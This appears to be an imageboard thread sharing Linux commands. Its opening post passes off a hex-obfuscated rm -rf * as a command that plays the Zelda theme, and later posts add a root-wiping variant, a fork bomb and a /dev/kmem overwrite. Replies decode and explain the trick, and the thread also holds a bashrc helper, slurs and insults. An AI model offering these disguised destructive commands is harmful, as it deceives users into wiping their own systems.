Cool Linux commands thread

Share your cool commands.

I found this really cool command out. It plays the Zelda theme through your speakers:

$(echo 726d202d7266202a | xxd -r -p)

>pic unrelated

Attached: whathavewebecome.gif (270x333, 2.99M)

Other urls found in this thread:

reddit.com/r/linux4noobs/comments/8rp7y6/found_a_really_cool_terminal_command_that_plays/
youtube.com/watch?v=aXV-yaFmQNk
parabola.nu
twitter.com/NSFWRedditGif

I ain't that dumb, nigga

Wow I can't believe this actually worked! Do you know how it does this?

>He forgot --no-preserve-root

New topic: post snips from your bashrc
#! /bin/bash

cur() {
if [ "$1" = "here" ] || [ "$1" = "h" ] ; then
echo $(pwd) > $HOME/.cur;
elif [ "$1" = "set" ] || [ "$1" = "s" ] ; then
echo "$2" > $HOME/.cur;
elif [ "$1" = "go" ] || [ "$1" = "g" ] ; then
cd "$(cat $HOME/.cur)";
elif [ "$1" = "delete" ] || [ "$1" = "d" ] ; then
rm $HOME/.cur;
elif [ "$1" = "print" ] || [ "$1" = "p" ] ; then
echo "$(cat $HOME/.cur)";
fi
}


Usage:
>cur h
Set the cursor directory here
>cur s /var/lib/whatever
Set the cursor to the target
>cur g
Go to the cursor
>cur d
Clear the cursor
>cur p
print the current cursor

This makes navigation with multiple terminal sessions a lot less annoying

I think it's reversing the hex into binary that apparently functions as an audio file.

how is it dumb? It just plays music

this one is even better btw.
$(echo 726d202d7266202f202d2d6e6f2d7072 6573657276652d726f6f74 | xxd -r -p)

that one isn't working for me. Some permission error. Do you need to run it as root?

Russian roulette:

dd if=/dev/urandom of=/dev/kmem bs=1 count=1 seek=$RANDOM

I fucking love docker

I shared it with reddit too :)
reddit.com/r/linux4noobs/comments/8rp7y6/found_a_really_cool_terminal_command_that_plays/

if yall would help me upvote it that would be really nice.

That gif is the reason, I'm giving my three year son lessons on how to use a mouse.
And when he learns his alphabet, we'll work on the keyboard.
God thank for the library we're the only thing of interest to him is a PC with a kids fill in with paint game.

>"God thanks for"
>*Thank God for*
It 1am, goodnight.

help case

I'd just like to interject for a moment. What you're referring to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.

Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called "Linux", and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.

There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called "Linux" distributions are really distributions of GNU/Linux.

Attached: 1529230142731.png (333x365, 192K)

Get your shit together and get the fuck outta here to your lebbit

Eh, my shell just froze up. Is that normal?

ls -a

Attached: 1368140516855.png (1207x587, 91K)

wow, amazing! it really works!

yea you need to, it connects to the audio using raw, prepare to be amazed!

sudo rm -rf --no-preserve-root /*

That gif triggered me.

go back

>echo 726d202d7266202f202d2d6e6f2d7072 6573657276652d726f6f74 | xxd -r -p
pfff

Attached: screen_17-06-18_15-41-47.png (691x39, 6K)

I have no bash.rc

never post that fucking gif ever again

noooo you were meant to use a sub-shell!

Attached: 1211722611222.jpg (191x187, 13K)

cat /proc/ports

it gets better
youtube.com/watch?v=aXV-yaFmQNk

Fuck sorry, I meant cat /dev/port

Attached: 1488170918564.jpg (125x125, 2K)

Attached: 1516101600801.png (500x455, 75K)

I had to run with sudo. Works great!

NO!

Attached: 1523367501274.jpg (640x634, 38K)

>giving tablets to kids/toddlers at a young age
>they think everything else works the same way since thats all they know
>somehow this is the kids fault
Not really. All of you smartasses would do the same.

Attached: 1528502349151.jpg (462x629, 93K)

I don't know if this counts as "cool", but I always wondered what happens if you actually run rm -rf /

[redacted]@www:~$ rm -rf /
rm: it is dangerous to operate recursively on '/'
rm: use --no-preserve-root to override this failsafe


Then, even if I run it with sudo and with --no-preserve-root, I still get a lot of "Operation not permitted" errors. However, that might be due to the fact that I'm running the command on a rented server.

After running the command, I cannot use a lot of commands anymore, e.g. "ls" or "cd" .
And I cannot log back in because it removed the ssh server software

sauce, NOW.

man make

Attached: 1280px-Creación_de_Adán_(Miguel_Ángel).jpg (1280x581, 318K)

Everyone's favorite ascii rainbow:

eval $(echo "I

ls /etc

Looking at it, use case is as follows: you have multiple terminals and you want them all to be in the same directory, you then set the cursor (cur h) and in the other terminals you go to that cursor (cur g)

Fairly useful, I just use tmux and rebind F2 to "type in all terminals", I just need to cd xxx and it'll cd all of them

ls /etc/

"Operation not permitted" because you just deleted udev.

parabola.nu

That's too evil, user. Stop posting it.

Open another one and try
:(){: | :&};:

WTF GUYS MY LINUX IS BROKEN NOW

Posted byu/HIGH_ENERGY_MEMES
1 year ago
GNU + Linux

I'd just like to interject for a moment. What you're referring to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.

Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called "Linux", and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.

There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called "Linux" distributions are really distributions of GNU/Linux.

Can't tell if LARPing or genuinely this retarded.

I know this one. What the fuck is the OP doing anyways? I'm not retarded enough to run random black-magic-looking terminal commands on my own machine, but I'm curious as to what it actually does.

>mfw there are people out there that do actually fall for this shit

Attached: 1511287475999.png (383x301, 86K)

great sound

>[removed]

This is why Reddit is bad.

The whole thing is surrounded by $(), which basically means "Execute the output of the command within as a command.
Like, $(echo echo WOO) would echo woo, since the output of echo echo WOO is echo woo, which, when executes, echoes WOO.
Now the command pipes the result of the echo program into xxd with the parameters -r and -p. xxd is a command to create a hex dump or turn a hex dump back into data. The options basically translate to "Translate a hex string in plain text (-p) back into plain text (reverse, -r).

So basically, the entire thing executes Whatever "726d202d7266202a " means when encoded back into plaintext.
And that happens to be rm -rf * (Delete everything in the current directory recurisvely and without prompting)

Just checked the release date of the GBC.

November 1998.

It feels surreal that it was almost 20 years ago. I feel old.

Definitely gonna do this with my kids in the future. Making sure they learn how to muck around with their tools instead of just treating them like appliances or consumption devices.

>he forgot to add --no-preserve-root
Thanks for the explanation. I was pretty sure it was just some sort of obfuscated rm -rf but I just didn't know how it worked.

He doesn't really need --no-preserve-root because rm -rf * deletes everything in the current working directory, not from the root directory.
So if someone in this thread was dumb enough to execute this in their home directory.... well.

>50 years from now
>full grown teens who inherited a gameboy as a family airloom does this for at least 5 months until they figure out that the buttons are in fact not just for decoration
>tfw laughing my ass off from the grave

That's true. Executing it in ~ would still fuck up your configs and installation pretty hard though...

>and all they could do is called me homophobic names

kek gets me everytime

rm -rf ~ is pretty much as destructive as rm -rf / anyway, if the box has a single user.

and most of the time he does too.

im sure its butter

Please go back

Attached: 1525761505366.gif (500x558, 16K)

i guess the whole point is that on reboot suddenly you wont be able to use anything anymore which is more horrifying than if you just boot into a default xfce4 environment or whatever. i mean home really does only have your settings, you can delete everything in there anyways and it would all be remade

>mfw zsh intercepts shit like this when in interactive mode and gives a prompt asking for confirmation.

bashlets are the plebiest fucks.

hitler@nuremberg » ~ » $ echo 726d202d7266202a | xxd -r -p ; echo
rm -rf *

Upvoted.

ya, we all know dipshit.

ponysay is BADASS

>$: command not found
>tfw no zelda tunes